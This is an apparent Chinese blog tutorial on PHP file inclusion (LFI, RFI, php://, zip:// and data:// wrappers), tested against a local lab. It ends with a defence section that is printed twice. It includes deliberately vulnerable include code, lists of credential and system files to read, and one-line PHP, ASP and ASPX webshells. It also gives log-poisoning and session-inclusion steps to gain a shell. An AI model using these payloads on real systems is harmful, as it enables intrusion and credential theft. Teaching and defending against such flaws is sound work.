文件包含这一篇就够了!

文件包含漏洞

1.文件包含漏洞?

一种注入型漏洞,本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。

包含?

以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。

常用文件包含的函数:

以PHP为例,常用的文件包含函数有以下四种
include(),require(),include_once(),require_once()

require():找不到被包含的文件会产生致命错误,并停止脚本运行
include():找不到被包含的文件只会产生警告,脚本继续执行
require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含

1.1 漏洞产生原理

创建demo4.php

<?php

 include $_GET['a'];

?>

创建被包含文件phpinfo.php(此文件可以是.jpg/.png/.txt多种文件后缀)

<?php

  phpinfo();

?>

当访问demo4并传递一个a=phpinfo.php即

image-20230429092106534

1.2 本地文件包含(LFI)

使用以上方式,可以读取服务器内具体文件,只需要将文件路径将参数传递即可

demo4.php

<?php

//  include $_GET['a'];

	$file=$_GET['filename'];
	include($file);
//传递参数filename=文件相对路径/文件绝对路径
?>

在windows系统中文件位置:

C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储Windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //Mysql配置
C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
C:\windows\php.ini //php配置信息

在Linux/Unix中

/etc/password //账户信息
/etc/shadow //账户密码信息
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件

使用演示:

1.demo4.php文件放在服务器上

windows中:

image-20230429093633313

这个貌似只能访问同一个盘符下的文件

LFI漏洞利用
1.–配合文件上传

当无法直接上传webshell时,可以先上传一个图片形式的webshell,再利用文件包含进行解析

第一步:先创建一个jpg格式的马demo.jpg

2.包含Apache日志文件

使用条件:

1.对日志文件可读

2.知道日志文件的目录

有时候网站存在文件包含漏洞,但是却没有文件上传点。这个时候我们还可以通过利用Apache的日志文件来生成一句话木马。

利用点:在用户发起请求时,服务器会将请求写入access.log,当发生错误时将错误写入error.log

一般情况下日志存储目录会被修改,需要读取服务器配置文件(httpd,conf ,nginx.con)或者根据phpinfo()中的信息来得知日志记录的信息都可以被调整,比如记录报错的等级,或者内容格式。

去访问不存在的文件目录加上<?php...?>

image-20230429100813223

因为我在windows下搭建的服务器:日志文件放在(因为使用的为Nginx)

D:\phpstudy_pro\Extensions\Nginx1.15.11\logs

或者在

D:\phpstudy_pro\Extensions\Apache2.4.39\logs

访问出现结果:

image-20230429101043140

image-20230429101259622

由于发送的php代码被编码索性使用bp直接修改:

image-20230429174544146

再次访问:

image-20230429174601086

使用蚁剑连接:

一句话马:

php的一句话木马: <?php @eval($_POST['pass']);?>//我使用的这个
asp的一句话是:   <%eval request ("pass")%>
aspx的一句话是:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

image-20230429174618067

我的目录结构为:(在windows中)

http://127.0.0.1/pika/demo4.php?filename=../../Extensions/Nginx1.15.11/logs/error.log

image-20230429174635177

看到所有目录结构:

image-20230429174648835

3.session包含

关于session文件包含,指的是有时Web系统会把我们的一些变量写入session文件,我们可以借此机制将PHP木马写入PHP文件中,然后使用文件包含来包含该session文件,以此获取目标系统的shell权限。

这种攻击方式的好处在于,可以利用保存在session中的数据;这种攻击方式的前提在于我们可以准确的找到session文件的存储目录。

使用要求:

1.能找到session

2.session文件可读可写且有目录

原理演示:

第一步:

服务器上创建demo4.php

<?php
session_start();
$sess=$_GET['sess'];
$_SESSION['var_session']=$sess;
?>

服务器上文件包含demo5.php

<?php
$file=$_GET['file'];
include($file);
?>

第二步:写入session(这里我直接写一句话马)

127.0.0.1/pika/demo4.php?sess=<?php @eval($_POST['pass']);?>

image-20230429174702725

实践之后可知,它会自己编码,然后用BP

image-20230429174030878

获得cookie编号

image-20230429174055408

我得到的cookie

PHPSESSID=7ehp1nsdsnhru8c0cp6r628jj1
//注意这个session的读写需要开启

使用demo5.php去连接写入到cookie里的一句话木马

先确定目录位置:

http://127.0.0.1/pika/demo5.php?file=../../Extensions/tmp/tmp/sess_7ehp1nsdsnhru8c0cp6r628jj1

蚁剑连接:

image-20230429174114983

session常见存储路径:

/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件格式:sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到。

1.3远程文件包含(RFI)

使用需要配置选项:

allow_url_include、allow_url_fopen需要进行开启

image-20230429174139825

咱们打开以上2个配置

image-20230429174200001

重启Nginx!!!

demo5.php

<?php
$file=$_GET['file'];
include($file.'/demodemo.txt');//在同级目录里存在,也可使用远程文件,引导到自己的服务器上
?>
//file的文件名随意定义,且可以设置成URL地址,然后进行拼接

然后去访问

http://127.0.0.1/pika/demo5.php?file=http://127.0.0.1/pika/
.'/demodemo.txt'
http://127.0.0.1/pika/demo5.php?file=http://www.baidu.com//再无拼接的情况下

image-20230429174217308

包含成功!

2.PHP伪协议

file:// 访问本地文件系统
http:// 访问 HTTPs 网址
ftp:// 访问 ftp URL
php:// 访问输入输出流
zlib:// 压缩流
data:// 数据
ssh2:// security shell2
expect:// 处理交互式的流
glob:// 查找匹配的文件路径

以下介绍

2.1 file://协议

用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。
include( )/require()/include_once() /require_once()参数可控的情况下,如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的。

demo5.php:

<?php
$file=$_GET['file'];
include($file);
?>

访问:

http://127.0.0.1/pika/demo5.php?file=file://C:/windows/2.txt

image-20230429174239163

2.2 php://协议
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input
php://filter用于读取源码。
php://input用于执行php代码。

演示:还是以上demo5.php

php://filter用于读取源码:
//使用方式:出来后是base64编码
php://filter/convert.base64-encode/resource=文件路径
http://127.0.0.1/pika/demo5.php?file=php://filter/convert.base64-encode/resource=demo1.php

image-20230429174253522

base64解密:

image-20230429174316214

image-20230429174333548

php://input用于执行php代码:

可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

演示:在传递参数时设置为=php://input,然后加上POST参数,就可以执行传递的POST请求中的代码:

fwrite(fopen("shell.php","w"),'<?php eval($_POST[pass])?>');

image-20230429174357268

image-20230429174414073

生成shell.php进行连接

image-20230429174426841

2.3 ZIP://协议

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

zip://中只能传入绝对路径。
要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23(即下述POC中#要用%23替换)
只需要是zip的压缩包即可,后缀名可以任意更改。
相同的类型还有zlib://和bzip2://
zip://[压缩包绝对路径]#[压缩包内文件]
?file=zip://demo.zip%23demo.txt

image-20230429174444217

2.4 data://协议

data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。

使用条件

allow_url_fopen :on
allow_url_include:on
data://text/plain,<?php phpinfo();?>
//如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

image-20230429174458631

小结:

image-20230429174511147

3.文件包含的防护

设置白名单:代码在进行文件包含时,如果文件名可以确定,可以设置白名单对传入的参数进行比较。如果需要使用文件包含,则通过使用白名单的方法对要包含的文件进行限制,这样可以做到既使用了文件包含,又可以防止文件包含漏洞。
过滤危险字符:严格限制包含中的参数,取消那些不可控的参数。由于Include Require可以对PHP Wrapper形式的地址进行包含执行(需要配置php.ini),在Linux环境中可以通过”../../”的形式进行目录绕过,所以需要判断文件名称是否为合法的PHP文件。
设置文件目录:PHP配置文件中有open_basedir选项可以设置用户需要执行的文件目录,如果设置目录的话,PHP仅仅在该目录内搜索文件。
关闭危险配置:PHP配置中的allow_url_include选项如果打开,PHP会通过Include Require进行远程文件包含,由于远程文件的不可信任性及不确定性,在开发中禁止打开此选项,PHP默认是关闭的。
禁用相应函数:如果不需要文件包含,则关闭allow_url_include()函数,防止远程文件包含,这是最安全的办法。

如果需要使用文件包含,则通过使用白名单的方法对要包含的文件进行限制,这样可以做到既使用了文件包含,又可以防止文件包含漏洞。
过滤危险字符:严格限制包含中的参数,取消那些不可控的参数。由于Include Require可以对PHP Wrapper形式的地址进行包含执行(需要配置php.ini),在Linux环境中可以通过”…/…/”的形式进行目录绕过,所以需要判断文件名称是否为合法的PHP文件。
设置文件目录:PHP配置文件中有open_basedir选项可以设置用户需要执行的文件目录,如果设置目录的话,PHP仅仅在该目录内搜索文件。
关闭危险配置:PHP配置中的allow_url_include选项如果打开,PHP会通过Include Require进行远程文件包含,由于远程文件的不可信任性及不确定性,在开发中禁止打开此选项,PHP默认是关闭的。
禁用相应函数:如果不需要文件包含,则关闭allow_url_include()函数,防止远程文件包含,这是最安全的办法。


  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值